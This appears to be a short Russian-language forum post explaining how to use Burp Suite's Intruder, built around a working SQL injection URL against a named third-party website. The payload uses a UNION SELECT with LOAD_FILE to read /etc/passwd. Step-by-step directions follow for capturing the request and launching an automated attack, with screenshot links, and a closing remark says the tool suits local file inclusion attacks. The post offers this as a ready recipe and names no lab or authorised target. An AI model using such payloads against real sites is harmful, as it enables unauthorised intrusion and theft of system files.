переходим по линку:

http://www.asra.com/e-news.php?id=-2+union+select+1,LOAD_FILE('/etc/passwd'),3,4,5,6--

в burp"e ловим запрос.

Action->send to intruder

делаем также

http://makescreen.ru/i/d9a16a9c0e8bc...038a240e93.jpg

переходим на вклудку Position

делаем также

http://makescreen.ru/i/f16fb25ee762d...9ed6e46498.jpg

сверхку нажимаем intruder->start attack

http://makescreen.ru/i/8dd9eb8205f9b...a1e6111bb9.jpg

всё).

можно всё настроить как нужно. на вкладке Options есть много чего интересного.также очень удобно юзать при LFI есть функция добавки префиксов и т.д